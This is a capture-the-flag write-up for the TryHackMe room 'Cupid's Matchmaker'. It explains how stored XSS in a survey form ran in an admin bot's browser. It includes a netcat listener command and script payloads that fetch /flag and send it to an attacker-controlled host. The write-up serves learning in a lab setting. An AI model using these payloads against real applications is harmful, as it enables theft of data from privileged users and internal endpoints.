Cupid's Matchmaker - TryHackMe Writeup | Stored XSS to Admin Bot Flag Theft
Cupid's Matchmaker TryHackMe writeup — Love At First Breach 2026: stored XSS in survey, admin bot review, and exfiltration of /flag to capture the flag.
##TryHackMe Room — Cupid's Matchmaker (Love At First Breach 2026)
No algorithms. No AI. Just real human matchmakers.
The app claims “our matchmaking team personally reviews every submission.” That implied my survey answers were stored and then viewed by someone (or something) else — an admin panel or bot. If that viewer rendered my input without sanitizing it, Stored XSS would run in their context, same origin as the app, so we could run e.g. fetch('/flag') and send the result to our server. This writeup documents how I confirmed stored XSS, verified a Headless Chrome bot was doing the review, and exfiltrated the flag from /flag to my listener.
##Overview
| Item | Detail |
|---|---|
| Goal | Retrieve the flag by abusing the admin review process |
| Attack chain | Survey input stored → admin bot views it → XSS runs in bot context → fetch /flag → exfiltrate to attacker |
| Key concepts | Stored XSS, admin/support bot, same-origin privilege abuse |
##Reconnaissance
The application was at http://<TARGET_IP>:5000. Response headers showed Werkzeug/Python (likely Flask/Jinja). The main feature was a personality survey at /survey — fields for name, age, ideal date, description, etc. I filled it out with normal data and submitted to see how the app behaved and whether my input was reflected anywhere:
POST /survey HTTP/1.1
Host: <TARGET_IP>:5000
Content-Type: application/x-www-form-urlencoded
name=...&age=...&ideal_date=...&describe_yourself=...&...After redirect to /, I only saw a thank-you message. My input was not reflected back to me — so reflected XSS and reflected SSTI were unlikely. The hint was the copy: “Our matchmaking team personally reviews every submission.” So my data was stored and viewed elsewhere (admin panel or bot). If that viewer rendered my input unsanitized, Stored XSS in the admin context would allow stealing data the admin (or bot) could access — e.g. a /flag endpoint.
##Key concept: Stored XSS + admin bot
Stored XSS means malicious input is saved and later rendered for other users (or admins). If an admin bot (e.g. Headless Chrome) visits a page that displays submissions without escaping, our JavaScript runs in the bot’s context — same origin as the app. We can then use fetch('/flag') (or similar) and send the result to our server. No cookie theft required; we abuse the privileged origin of the bot.
##Confirming Stored XSS and bot
I started a listener on my machine:
nc -lnvp 1337I injected a simple callback into a survey field (e.g. ideal_date or another textarea):
<script>fetch('http://<MY_IP>:1337/?ping')</script>After submitting, within a short time my listener received a request:
GET /?ping HTTP/1.1
User-Agent: HeadlessChrome/...
Referer: http://localhost:5000/So:
- >Stored XSS was confirmed.
- >A Headless Chrome bot was reviewing submissions.
- >The bot could make outbound requests to my IP.
- >JavaScript ran in the app’s origin (localhost:5000 from the bot’s perspective).
Next step: make the bot fetch the flag and send it to me, instead of just “ping.”
##Exfiltrating the flag
I used a payload that fetches /flag and sends the response body to my listener:
<script>
fetch('/flag')
.then(r => r.text())
.then(d => {
fetch('http://<MY_IP>:1337/?flag=' + encodeURIComponent(d));
});
</script>I put this in a survey field, submitted, and waited. My listener received a request like:
GET /?flag=THM%7B...%7D HTTP/1.1URL-decoding the flag parameter yielded the challenge flag in THM{...} format.
##Flag
THM{*redacted*}(Replace with the actual flag when you solve the room.)
##Attack chain summary
| Step | Description |
|---|---|
| 1 | Survey input stored server-side |
| 2 | Admin bot reviews submissions |
| 3 | User input rendered unsanitized |
| 4 | Stored XSS runs in bot context |
| 5 | JS runs with app origin; bot can access /flag |
| 6 | fetch('/flag') + exfiltrate to attacker server |
| 7 | Flag captured |
##Pitfalls and notes
- >Chasing SSTI: Flask + Jinja might suggest server-side template injection, but input was never reflected to my browser and there was no clear blind SSTI. The real vector was client-side execution in the admin’s browser (bot).
- >Relying on cookie theft: With HttpOnly cookies, stealing the session might be hard. Directly fetching an internal endpoint like
/flagand exfiltrating the body was simpler and more reliable.
##References and tools
This writeup is part of my Love At First Breach 2026 event writeups.